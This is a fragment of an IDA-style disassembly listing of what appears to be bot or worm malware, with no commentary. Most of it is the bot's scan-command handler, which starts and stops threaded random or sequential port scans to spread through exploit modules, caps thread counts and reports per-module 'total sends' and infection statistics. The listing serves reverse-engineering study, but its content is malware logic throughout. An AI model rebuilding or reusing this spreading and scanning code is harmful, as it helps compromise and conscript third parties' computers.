		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_42263B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_42263B:				; CODE XREF: sub_422620+11j
		retn
sub_422620	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422650	proc near		; CODE XREF: sub_40201Dj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_422650
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+10h+arg_0]
		push	eax
		push	19h
		call	sub_4011CC
		add	esp, 8
		mov	[esp+10h+var_10], eax
		test	eax, eax
		mov	[esp+10h+var_4], 0
		jz	short loc_422691
		mov	ecx, [esp+10h+arg_4]
		push	ecx
		mov	ecx, eax
		call	sub_401677


loc_422691:				; CODE XREF: sub_422650+33j
		mov	ecx, [esp+10h+var_C]
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_422650	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_11. PRESS	KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4226E0	proc near		; CODE XREF: sub_401ED3j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_4226E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+10h+arg_0]
		push	eax
		push	15h
		call	sub_4011CC
		add	esp, 8
		mov	[esp+10h+var_10], eax
		test	eax, eax
		mov	[esp+10h+var_4], 0
		jz	short loc_422721
		mov	ecx, [esp+10h+arg_4]
		push	ecx
		mov	ecx, eax
		call	sub_4014C9


loc_422721:				; CODE XREF: sub_4226E0+33j
		mov	ecx, [esp+10h+var_C]
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4226E0	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422750	proc near		; CODE XREF: sub_401A78j

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	0
		call	sub_4019BA
		retn
sub_422750	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422770	proc near		; CODE XREF: sub_401F9Bj

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	0
		mov	eax, [ecx]
		call	dword ptr [eax]
		retn
sub_422770	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422790	proc near		; CODE XREF: sub_401677j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		push	edi
		call	sub_4014C9
		mov	eax, [edi+15h]
		pop	edi
		mov	[esi+15h], eax
		mov	eax, esi
		pop	esi
		retn	4
sub_422790	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4227C0	proc near		; CODE XREF: sub_4019BAj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401A6E
		test	[esp+4+arg_0], 1
		jz	short loc_4227D8
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_4227D8:				; CODE XREF: sub_4227C0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_4227C0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4227F0	proc near		; CODE XREF: sub_401AE1j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4227F0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	10h
		push	9
		push	3
		push	4Fh
		push	16h
		push	4
		lea	eax, [esp+60h+var_3C]
		push	1
		mov	esi, ecx
		push	eax
		mov	dword_4D5FBB, offset aAsn ; "asn"
		call	sub_4019B5
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+8D008h]
		push	eax
		push	ecx
		mov	ecx, offset dword_447148
		call	sub_401591
sub_4227F0	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	14h
		push	12h
		push	1
		push	14h
		push	13h
		push	4Fh
		push	16h
		push	4
		lea	edx, [esp+2Ch]
		push	1
		push	edx
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017E4
		push	eax
		lea	eax, [esi+8D036h]
		push	eax
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	0Fh
		push	14h
		push	13h
		push	4Fh
		push	0Eh
		push	1
		push	3
		lea	ecx, [esp+2Ch]
		push	13h
		push	ecx
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 2
		call	sub_4017E4
		lea	edx, [esi+8D064h]
		push	eax
		push	edx
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	13h
		push	14h
		push	1
		push	14h
		push	13h
		push	4Fh
		push	16h
		push	4
		lea	eax, [esp+2Ch]
		push	1
		push	eax
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017E4
		lea	ecx, [esi+8D092h]
		push	eax
		push	ecx
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	13h
		push	14h
		push	1
		push	14h
		push	13h
		push	4Fh
		push	10h
		push	14h
		lea	edx, [esp+44h]
		push	6
		push	edx
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 4
		call	sub_4017E4
		add	esi, 8D0C0h
		push	eax
		push	esi
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422A40	proc near		; CODE XREF: sub_40138Ej

var_78D		= byte ptr -78Dh
var_78C		= dword	ptr -78Ch
var_788		= byte ptr -788h
var_780		= dword	ptr -780h
var_770		= byte ptr -770h
var_760		= byte ptr -760h
var_6E0		= byte ptr -6E0h
var_660		= dword	ptr -660h
var_65C		= dword	ptr -65Ch
var_658		= dword	ptr -658h
var_654		= dword	ptr -654h
var_650		= dword	ptr -650h
var_644		= dword	ptr -644h
var_640		= dword	ptr -640h
var_638		= dword	ptr -638h
var_634		= dword	ptr -634h
var_630		= dword	ptr -630h
var_624		= byte ptr -624h
var_60C		= byte ptr -60Ch
var_40C		= byte ptr -40Ch
var_20C		= byte ptr -20Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_422A40
		push	eax
		mov	large fs:0, esp
		sub	esp, 784h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+79Ch+arg_0]
		mov	ebp, ecx
		push	edi
		lea	edi, [esi+7Eh]
		lea	ecx, [ebp+8D008h]
		call	sub_4014D3
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_422B0A
		push	3
		call	sub_401483
		add	esp, 4
		test	eax, eax
		jle	short loc_422ADD
		push	3
		call	sub_401D8E
		mov	eax, dword_50BB80[eax*8]
		add	esp, 4
		push	eax
		nop
		call	near ptr 71AB3F41h
		push	eax
		push	offset aScanCipS ; "scan: cip (%s)"
		lea	ecx, [esi+2Ah]
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 18h
		mov	al, 1
		jmp	loc_422E3B
; ---------------------------------------------------------------------------


loc_422ADD:				; CODE XREF: sub_422A40+52j
		lea	ecx, [esi+2Ah]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	offset aScanNotStarted ; "scan:	not started"
		push	edx
		push	eax
		mov	ecx, offset byte_4D60A5
		call	sub_401118
		mov	al, 1
		jmp	loc_422E3B
; ---------------------------------------------------------------------------


loc_422B0A:				; CODE XREF: sub_422A40+40j
		lea	ecx, [ebp+8D0C0h]
		call	sub_4014D3
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_422BB0
		mov	edi, dword_4D63A0
		push	offset asc_443600 ; " "
		lea	ecx, [esp+7A4h+var_788]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 0
		call	sub_4017E4
		push	eax
		call	near ptr 77C1BF18h
		nop
		add	esp, 4
		lea	ecx, [esp+7A0h+var_788]
		mov	ebx, eax
		mov	[esp+7A0h+var_4], 0FFFFFFFFh
		call	sub_401226
		cmp	edi, ebx
		jl	loc_4231BD
		mov	edx, dword_44767F
		push	edi
		push	edx
		push	offset aFtpPortDTotalS ; "ftp: port: %d, total sends: %d"
		lea	ecx, [esi+2Ah]
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 1Ch
		mov	al, 1
		jmp	loc_422E3B
; ---------------------------------------------------------------------------


loc_422BB0:				; CODE XREF: sub_422A40+DFj
		lea	ecx, [ebp+8D064h]
		call	sub_4014D3
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_422C30
		push	eax
		push	3
		call	sub_401D93
		add	esp, 8
		test	eax, eax
		jle	short loc_422C05
		push	eax
		push	offset aScanStoppedDTh ; "scan:	stopped	(%d threads)"
		lea	ecx, [esi+2Ah]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 18h
		jmp	loc_422E39
; ---------------------------------------------------------------------------


loc_422C05:				; CODE XREF: sub_422A40+194j
		lea	ecx, [esi+2Ah]
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	offset aScanCouldnTSto ; "scan:	couldn't stop"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D60A5
		call	sub_401118
		jmp	loc_422E39
; ---------------------------------------------------------------------------


loc_422C30:				; CODE XREF: sub_422A40+185j
		lea	ecx, [ebp+8D036h]
		call	sub_4014D3
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		mov	edi, dword_50FB08
		test	eax, eax
		jnz	loc_422CDE
		push	3
		call	sub_401483
		add	esp, 4
		mov	ebx, eax
		lea	eax, [esp+7A0h+var_788]
		mov	ecx, esi
		push	offset asc_443600 ; " "
		push	2
		push	eax
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 1
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	eax, ebx
		add	esp, 4
		cmp	eax, 1F4h
		lea	ecx, [esp+7A0h+var_788]
		setnle	[esp+7A0h+var_78D]
		mov	[esp+7A0h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, [esp+7A0h+var_78D]
		test	al, al
		jz	loc_422E56
		push	ebx
		push	offset aScanTooManyThr ; "scan:	too many threads (%s)"
		lea	ecx, [esi+2Ah]
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 18h


loc_422CDE:				; CODE XREF: sub_422A40+20Bj
		lea	ecx, [ebp+8D092h]
		call	sub_4014D3
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_422E39
		push	offset asc_443600 ; " "
		lea	eax, [esp+7A4h+var_624]
		push	1
		push	eax
		mov	ecx, esi
		xor	ebx, ebx
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 0Ah
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+7A0h+var_624]
		mov	edi, eax
		mov	[esp+7A0h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	eax, dword_444438
		mov	[esp+7A0h+var_78D], bl
		test	eax, eax
		jz	short loc_422D69
		mov	eax, offset dword_444438


loc_422D55:				; CODE XREF: sub_422A40+327j
		cmp	[eax+8], edi
		jb	short loc_422D5F
		mov	[esp+7A0h+var_78D], 1


loc_422D5F:				; CODE XREF: sub_422A40+318j
		mov	ecx, [eax+3Ch]
		add	eax, 3Ch
		test	ecx, ecx
		jnz	short loc_422D55


loc_422D69:				; CODE XREF: sub_422A40+30Ej
		mov	ebp, off_50FBF0
		lea	ecx, [esp+7A0h+var_60C]
		push	offset aScanStats ; "scan: stats:"
		push	ecx
		call	ebp ; sub_5EA1BD
		mov	eax, dword_444438
		add	esp, 8
		test	eax, eax
		jz	short loc_422DCF
		mov	edi, offset dword_444440


loc_422D8F:				; CODE XREF: sub_422A40+38Dj
		mov	eax, [edi]
		lea	edx, [edi-26h]
		add	ebx, eax
		push	eax
		push	edx
		lea	eax, [esp+7A8h+var_40C]
		push	offset aSD	; " %s:	%d,"
		push	eax
		call	ebp ; sub_5EA1BD
		lea	ecx, [esp+7B0h+var_40C]
		push	200h
		lea	edx, [esp+7B4h+var_60C]
		push	ecx
		push	edx
		nop
		call	near ptr 77C47920h
		mov	eax, [edi+34h]
		add	edi, 3Ch
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_422D8F


loc_422DCF:				; CODE XREF: sub_422A40+348j
		push	ebx
		lea	eax, [esp+7A4h+var_40C]
		push	offset aTotalD	; " total: %d"
		push	eax
		call	ebp ; sub_5EA1BD
		lea	ecx, [esp+7ACh+var_40C]
		push	200h
		lea	edx, [esp+7B0h+var_60C]
		push	ecx
		push	edx
		nop
		call	near ptr 77C47920h
		mov	al, [esp+7B8h+var_78D]
		add	esp, 18h
		test	al, al
		jz	short loc_422E29
		xor	eax, eax
		lea	ecx, [esp+7A0h+var_60C]
		mov	al, [esi+94h]
		push	eax
		push	ecx
		lea	ecx, [esi+2Ah]
		call	sub_4014D3
		push	eax
		push	0
		call	sub_401523
		add	esp, 10h


loc_422E29:				; CODE XREF: sub_422A40+3C3j
		lea	edx, [esp+7A0h+var_60C]
		push	edx
		call	sub_4010D2
		add	esp, 4


loc_422E39:				; CODE XREF: sub_422A40+1C0j
					; sub_422A40+1EBj ...
		xor	al, al


loc_422E3B:				; CODE XREF: sub_422A40+98j
					; sub_422A40+C5j ...
		mov	ecx, [esp+7A0h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 790h
		retn	4
; ---------------------------------------------------------------------------


loc_422E56:				; CODE XREF: sub_422A40+26Ej
		push	offset asc_443600 ; " "
		lea	eax, [esp+7A4h+var_788]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 2
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		or	ebx, 0FFFFFFFFh
		add	esp, 4
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_65C], eax
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	ecx, [esp+7A4h+var_788]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ebp, 3
		mov	ecx, eax
		mov	[esp+7A0h+var_4], ebp
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_644], eax
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	edx, [esp+7A4h+var_788]
		push	ebp
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 4
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_658], eax
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		mov	eax, [esp+7A0h+var_658]
		cmp	eax, ebp
		jnb	short loc_422F33
		mov	[esp+7A0h+var_658], ebp
		jmp	short loc_422F43
; ---------------------------------------------------------------------------


loc_422F33:				; CODE XREF: sub_422A40+4E8j
		cmp	eax, 3Ch
		jbe	short loc_422F43
		mov	[esp+7A0h+var_658], 3Ch


loc_422F43:				; CODE XREF: sub_422A40+4F1j
					; sub_422A40+4F6j
		push	offset asc_443600 ; " "
		lea	eax, [esp+7A4h+var_788]
		push	4
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 5
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_654], eax
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		mov	ecx, [esp+7A0h+var_654]
		mov	eax, 960h
		cmp	ecx, eax
		jbe	short loc_422F9C
		mov	[esp+7A0h+var_654], eax


loc_422F9C:				; CODE XREF: sub_422A40+553j
		mov	eax, dword_444438
		mov	[esp+7A0h+var_640], ebx
		test	eax, eax
		mov	[esp+7A0h+var_78C], 0
		jz	loc_42306C
		mov	ebp, offset dword_444438
		jmp	short loc_422FC2
; ---------------------------------------------------------------------------


loc_422FBF:				; CODE XREF: sub_422A40+602j
		or	ebx, 0FFFFFFFFh


loc_422FC2:				; CODE XREF: sub_422A40+57Dj
		push	offset asc_443600 ; " "
		lea	ecx, [esp+7A4h+var_788]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 6
		call	sub_4017E4
		mov	edi, eax
		lea	ecx, [ebp-28h]


loc_422FEC:				; CODE XREF: sub_422A40+5CAj
		mov	dl, [ecx]
		mov	al, dl
		cmp	dl, [edi]
		jnz	short loc_423010
		test	al, al
		jz	short loc_42300C
		mov	dl, [ecx+1]
		mov	al, dl
		cmp	dl, [edi+1]
		jnz	short loc_423010
		add	ecx, 2
		add	edi, 2
		test	al, al
		jnz	short loc_422FEC


loc_42300C:				; CODE XREF: sub_422A40+5B6j
		xor	eax, eax
		jmp	short loc_423014
; ---------------------------------------------------------------------------


loc_423010:				; CODE XREF: sub_422A40+5B2j
					; sub_422A40+5C0j
		sbb	eax, eax
		sbb	eax, ebx


loc_423014:				; CODE XREF: sub_422A40+5CEj
		test	eax, eax
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_4], 0FFFFFFFFh
		setz	bl
		call	sub_401226
		test	bl, bl
		jnz	short loc_42304A
		mov	edx, [esp+7A0h+var_78C]
		mov	eax, [ebp+3Ch]
		add	ebp, 3Ch
		inc	edx
		test	eax, eax
		mov	[esp+7A0h+var_78C], edx
		jnz	loc_422FBF
		jmp	short loc_423069
; ---------------------------------------------------------------------------


loc_42304A:				; CODE XREF: sub_422A40+5EFj
		mov	ecx, [esp+7A0h+var_78C]
		mov	[esp+7A0h+var_640], ecx
		lea	eax, [ecx+ecx*2]
		lea	eax, [eax+eax*4]
		mov	edx, dword_444438[eax*4]
		mov	[esp+7A0h+var_65C], edx


loc_423069:				; CODE XREF: sub_422A40+608j
		or	ebx, 0FFFFFFFFh


loc_42306C:				; CODE XREF: sub_422A40+572j
		mov	eax, [esp+7A0h+var_65C]
		test	eax, eax
		jnz	short loc_42308A
		lea	ecx, [esi+2Ah]
		call	sub_4014D3
		push	eax
		push	offset aScanInvalidPor ; "scan:	invalid	port"
		jmp	loc_4231A5
; ---------------------------------------------------------------------------


loc_42308A:				; CODE XREF: sub_422A40+635j
		push	offset asc_443600 ; " "
		lea	edx, [esp+7A4h+var_788]
		push	5
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		push	offset dword_443DC4
		mov	ecx, eax
		mov	[esp+7A4h+var_4], 7
		call	sub_4013E3
		lea	ecx, [esp+7A0h+var_788]
		mov	edi, eax
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		test	edi, edi
		jz	loc_423167
		push	offset asc_443600 ; " "
		lea	eax, [esp+7A4h+var_788]
		push	5
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 8
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+7A4h+var_770]
		push	10h
		push	ecx
		call	near ptr 77C3FA76h
		nop
		add	esp, 0Ch
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	edx, [esp+7A4h+var_788]
		push	5
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		push	78h
		mov	ecx, eax
		mov	[esp+7A4h+var_4], 9
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C47660h
		add	esp, 8
		lea	ecx, [esp+7A0h+var_788]
		neg	eax
		sbb	eax, eax
		mov	[esp+7A0h+var_4], ebx
		neg	eax
		mov	[esp+7A0h+var_630], eax
		call	sub_401226
		jmp	loc_423296
; ---------------------------------------------------------------------------


loc_423167:				; CODE XREF: sub_422A40+688j
		push	offset aR	; " -r"
		mov	ecx, esi
		call	sub_4013E3
		test	eax, eax
		jnz	short loc_4231C4
		push	offset aA	; " -a"
		mov	ecx, esi
		call	sub_4013E3
		test	eax, eax
		jnz	short loc_4231C4
		push	offset aB	; " -b"
		mov	ecx, esi
		call	sub_4013E3
		test	eax, eax
		jnz	short loc_4231C4
		lea	ecx, [esi+2Ah]
		call	sub_4014D3
		push	eax
		push	offset aScanNoIpSpecif ; "scan:	no ip specified"


loc_4231A5:				; CODE XREF: sub_422A40+645j
		mov	al, [esi+94h]
		mov	cl, [esi+93h]
		push	eax
		push	ecx
		mov	ecx, offset byte_4D60A5
		call	sub_401118


loc_4231BD:				; CODE XREF: sub_422A40+132j
		mov	al, 1
		jmp	loc_422E3B
; ---------------------------------------------------------------------------


loc_4231C4:				; CODE XREF: sub_422A40+735j
					; sub_422A40+745j ...
		mov	ecx, dword_4D60BD
		lea	edx, [esp+7A0h+var_78C]
		lea	eax, [esp+7A0h+var_788]
		push	edx
		push	eax
		push	ecx
		mov	[esp+7ACh+var_78C], 10h
		nop
		call	near ptr 71AB951Eh
		push	offset aA	; " -a"
		mov	ecx, esi
		call	sub_4013E3
		mov	edx, eax
		mov	eax, [esp+79Ch+var_780]
		neg	edx
		sbb	edx, edx
		push	10h
		and	edx, 0FFFF0100h
		add	edx, 0FFFFh
		and	eax, edx
		push	eax
		mov	[esp+7A4h+var_780], eax
		nop
		call	near ptr 71AB3F41h
		push	eax
		lea	eax, [esp+7A8h+var_770]
		push	eax
		call	near ptr 77C47A90h
		nop
		add	esp, 0Ch
		mov	ecx, esi
		push	offset aR	; " -r"
		call	sub_4013E3
		test	eax, eax
		jz	short loc_42328B
		push	offset aA	; " -a"
		mov	ecx, esi
		call	sub_4013E3
		mov	ebp, dword_50FA90
		mov	edi, eax
		neg	edi
		sbb	edi, edi
		lea	ecx, [esp+7A0h+var_770]
		neg	edi
		push	30h
		push	ecx
		add	edi, 2
		call	ebp	; strrchr
		add	esp, 8
		xor	bl, bl
		test	edi, edi
		jle	short loc_42327E


loc_423262:				; CODE XREF: sub_422A40+83Cj
		test	eax, eax
		jz	short loc_42327E
		lea	edx, [esp+7A0h+var_770]
		push	30h
		push	edx
		mov	byte ptr [eax],	78h
		call	ebp	; strrchr
		add	esp, 8
		inc	bl
		movsx	ecx, bl
		cmp	ecx, edi
		jl	short loc_423262


loc_42327E:				; CODE XREF: sub_422A40+820j
					; sub_422A40+824j
		mov	[esp+7A0h+var_630], 1
		jmp	short loc_423296
; ---------------------------------------------------------------------------


loc_42328B:				; CODE XREF: sub_422A40+7F1j
		mov	[esp+7A0h+var_630], 0


loc_423296:				; CODE XREF: sub_422A40+722j
					; sub_422A40+849j
		mov	edx, dword_4D60BD
		xor	eax, eax
		mov	al, [esi+93h]
		lea	edi, [esi+2Ah]
		mov	ecx, edi
		mov	[esp+7A0h+var_660], edx
		mov	[esp+7A0h+var_638], 0
		mov	[esp+7A0h+var_634], eax
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+7A4h+var_760]
		push	80h
		push	ecx
		call	near ptr 77C3FA76h
		nop
		mov	eax, [esp+7ACh+var_630]
		add	esp, 0Ch
		test	eax, eax
		mov	[esp+7A0h+var_6E0], 0
		mov	eax, offset aRandom ; "random"
		jnz	short loc_4232F8
		mov	eax, offset aSequential	; "sequential"


loc_4232F8:				; CODE XREF: sub_422A40+8B1j
		mov	edx, [esp+7A0h+var_644]
		mov	ecx, [esp+7A0h+var_654]
		push	edx
		mov	edx, [esp+7A4h+var_658]
		push	ecx
		mov	ecx, [esp+7A8h+var_65C]
		push	edx
		lea	edx, [esp+7ACh+var_770]
		push	ecx
		push	edx
		push	eax
		mov	eax, [esp+7B8h+var_640]
		lea	eax, [eax+eax*2]
		lea	eax, [eax+eax*4]
		lea	ecx, ds:44441Ah[eax*4]
		push	ecx
		push	offset aScanSSPortScan ; "Scan(%s): %s Port Scan %s:%d - Delay %d"...
		mov	ecx, edi
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D60A5
		call	sub_401848
		push	0
		lea	ecx, [esp+7D4h+var_20C]
		push	3
		push	ecx
		call	sub_401BD6
		add	esp, 3Ch
		lea	edx, [esp+7A0h+var_770]
		mov	[esp+7A0h+var_650], eax
		push	edx
		call	sub_402261
		mov	al, 1
		jmp	loc_422E3B
sub_422A40	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 260h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4235F0	proc near		; CODE XREF: sub_40114Fj

arg_A6		= dword	ptr  0AAh
arg_AE		= dword	ptr  0B2h

		mov	ecx, [esp+arg_AE]
		push	ebx
		test	ecx, ecx
		push	offset byte_446F60
		mov	ecx, offset dword_447988
		setnz	bl
		call	sub_4014D3
		push	eax
		push	ebx
		push	ebx
		push	offset byte_4D60A5
		call	sub_401848
		mov	eax, [esp+18h+arg_A6]
		add	esp, 14h
		lea	eax, [eax+eax*2]
		pop	ebx
		lea	eax, [eax+eax*4]
		mov	ecx, dword_444440[eax*4]
		inc	ecx
		mov	dword_444440[eax*4], ecx
		mov	al, 1
		retn
sub_4235F0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_423660	proc near		; CODE XREF: sub_401DF7j

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		sub	esp, 14h
		xor	eax, eax
		lea	ecx, [esp+14h+var_14]
		mov	[esp+14h+var_10], eax
		lea	edx, [esp+14h+var_10]
		mov	[esp+14h+var_C], eax
		push	ecx
		mov	[esp+18h+var_8], eax
		push	edx
		mov	[esp+1Ch+var_4], eax
		mov	eax, [esp+1Ch+arg_0]
		push	eax
		mov	[esp+20h+var_14], 10h
		nop
		call	near ptr 71AB951Eh
		mov	ecx, [esp+14h+var_C+3]
		mov	edx, [esp+14h+var_C+2]
		mov	eax, [esp+14h+var_C+1]
		and	ecx, 0FFh
		push	ecx
		mov	ecx, [esp+18h+var_C]
		and	edx, 0FFh
		and	eax, 0FFh
		push	edx
		and	ecx, 0FFh
		push	eax
		push	ecx
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	offset dword_50DAD8
		nop
		call	sub_5EA1BD
		mov	eax, offset dword_50DAD8
		add	esp, 2Ch
		retn
sub_423660	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_9. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_423720	proc near		; CODE XREF: sub_401F37j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, dword_50BB80[esi*8]
		push	eax
		call	near ptr 71AB2BC0h
		nop
		inc	eax
		push	eax
		call	near ptr 71AB2BC0h
		nop
		mov	dword_50BB80[esi*8], eax
		pop	esi
		retn
sub_423720	endp

